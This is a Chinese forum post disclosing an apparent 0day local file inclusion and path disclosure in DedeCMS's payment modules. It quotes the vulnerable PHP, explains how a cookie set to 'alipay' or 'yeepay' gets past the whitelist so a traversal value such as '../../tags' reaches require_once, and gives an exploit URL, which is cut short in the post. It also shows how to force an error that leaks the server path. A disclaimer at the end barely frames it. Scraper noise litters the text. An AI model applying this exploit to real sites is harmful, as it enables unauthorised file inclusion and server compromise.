找回密码
 立即注册
查看: 2321|回复: 0
打印 上一主题 下一主题

dedecms本地文件包含及物理路径泄露0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:25:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)  \1 ~% d: y8 @

4 K' Z- C4 ~* a8 g% B* M出现漏洞的两个文件为:$ u* V4 u# B" f1 `& ~. r0 g2 h
Include/payment/alipay.php8 ?. Z3 G- z0 a4 n1 f# }
Include/payment/yeepay.php3 I: V, k! e1 _4 S; m4 A# a
漏洞均出现在respond方法里,估计这两个文件是临时工写的。, h7 A) h" h! }  v
0 |8 Q7 b8 }# x3 Y
Include/payment/alipay.php
8 M5 ?  d8 ?& |9 `9 M& K. Z2 R3 D) b0 [# K  j6 m3 p! Y
......8 f; {+ N) ^3 ^& T  w1 h1 C
   function respond()
+ [1 A1 l+ h4 j* x3 z$ T2 @! o- T/ @1 M    {
5 S0 A- V- `' ^0 p. T        if (!empty($_POST))
) s) z; F% n  E! k( o        {( ?2 U* b" Z' r: w
            foreach($_POST as $key => $data)
" `! |9 l7 k; F; V; O7 g  |) J. |) k            {
# m" r5 a  B' a; N' ?$ R' h5 C                $_GET[$key] = $data;( h( k5 _" n4 a3 Q. @( j
            }% r% U5 l8 |  Q# w. X
        }- N7 P* q8 q' C
        /* 引入配置文件 */
/ U% ]* A; }+ s( V6 N3 U        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
0 k/ n# V% |' q" o  S9 t...... - w0 S6 B/ p2 ?0 R: [

  a+ Y* t$ k' t. X) x- k% g" }- g
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
( q* ^$ {% V" A
' |9 l. s6 H1 N' F6 A8 ZInclude/payment/yeepay.php) F# }0 E0 r: l' T  n9 f* v
+ n' `! X0 q* y" h0 R8 K8 k4 |

/ u$ `  A: O$ Q- ]& m( R% {( p) P0 V' {: t5 @5 ^; n+ {1 |
......
+ G  `: h- C2 Z$ ?" M- u: G    function respond()5 r$ |0 l& W$ x. I$ V6 n2 I5 s6 v
    {8 J( |0 X6 C/ n) J, w+ V& t

+ U. h  S- L0 l3 R        /* 引入配置文件 */
9 d- V# U) `/ h        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';2 u7 ]  F6 c: \0 [( [. o
+ |3 k- s8 F4 N+ Z
        $p1_MerId = trim($payment['yp_account']);
# R- y( k. N0 y: d! O# Y$ @9 p2 N        $merchantKey = trim($payment['yp_key']);
  m& k: M2 _, F$ v9 k/ `- |9 S......   A, |) Y: ~) P! r: p. b7 q' z# L& j
" i2 R4 X  A( r1 k
+ {6 U: B* A; o! m8 F
( p! I; f/ C  _! `: u5 M8 a
) M- I* x3 j2 w
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
" V8 |/ v- v: W3 }- t% Q+ w( t& z6 f0 N8 O* C: F4 j: w" o
这两个方法在plus/carbuyaction.php文件调用。
( _0 P4 }4 ^. G" q, v2 |6 \* W$ ?) i6 ]( V/ A( A, u
plus/carbuyaction.php1 X4 c! T4 z; b  z: \
8 z. f  ]6 T) i$ r, r7 e
......$ F; p) v# P- Y
} else if ($dopost == 'return') {; K0 D$ d4 x) q$ s  U( P
    $write_list = array('alipay', 'bank', 'cod', 'yeepay');5 k7 S, u3 s6 p0 V. Q$ e
    if (in_array($code, $write_list))
! I4 c' X, p( B( g  w    {
5 U- i1 Q, z! L2 N! A        require_once DEDEINC.'/payment/'.$code.'.php';
7 C& @' A* B7 I7 u        $pay = new $code;
. N% R& B% K+ i( H        $msg=$pay->respond();
. [/ I3 ~2 v* V& ~8 K        ShowMsg($msg, "javascript:;", 0, 3000);+ w3 j, d- \( {& z5 w5 A
        exit();  3 Y0 r1 i  o) }
    } else {
5 a6 Q9 S# o+ m) P        exit('Error:File Type Can\'t Recognized!');% A1 @+ c) S$ q0 P- Z
    }
) d+ l3 z2 }1 `3 {8 k% o3 y}
0 |9 b: n% i$ l( _% l...... 0 C" G2 c- i7 F3 S* j- u  [% }

4 O/ Q) ~, O/ K4 _8 n% T0 _" e1 u9 a9 b1 N/ t: S, x! q4 Q

' U# o, l8 t, G& R/ s5 {
/ n0 A9 H& T' n5 z 6 K& V) z: {2 H8 W

% c0 o9 l8 G4 J2 w  ?; K/ R- f大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。7 u5 d4 U7 Z& S7 K2 F6 w
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
2 w" T) L% p0 a; V- k  B2 E) H# \& w/ D+ o
回到include/common.inc.php来看看他的机制。3 c# s" b# ^. _& }
. s( C; h: W# u! ?

, L3 i! o: o8 d0 b2 p2 D0 w$ W$ {& P0 n% M5 Z9 [7 T
......
' H9 Q( X" G- P! D8 ?1 Tforeach(Array('_GET','_POST','_COOKIE') as $_request)
* y5 `) K2 r# T! z( H! i. `{5 N; V0 B" X. w1 r  J5 \- ^
        foreach($$_request as $_k => $_v)
, @& E+ R( L- j4 _        {
- v3 r* g: T+ C* z+ P                if($_k == 'nvarname') ${$_k} = $_v;
6 @$ j1 `- p, g$ }2 @$ _* e                else ${$_k} = _RunMagicQuotes($_v);
1 Q, [; j$ I0 B        }
  E" d$ Z' g9 w  U}& {# ?8 Z7 B# g) Y
...... ) i4 i' ]- j; P9 C3 _
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
% \" H$ s& E  F( t* x* X: e8 {6 e由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表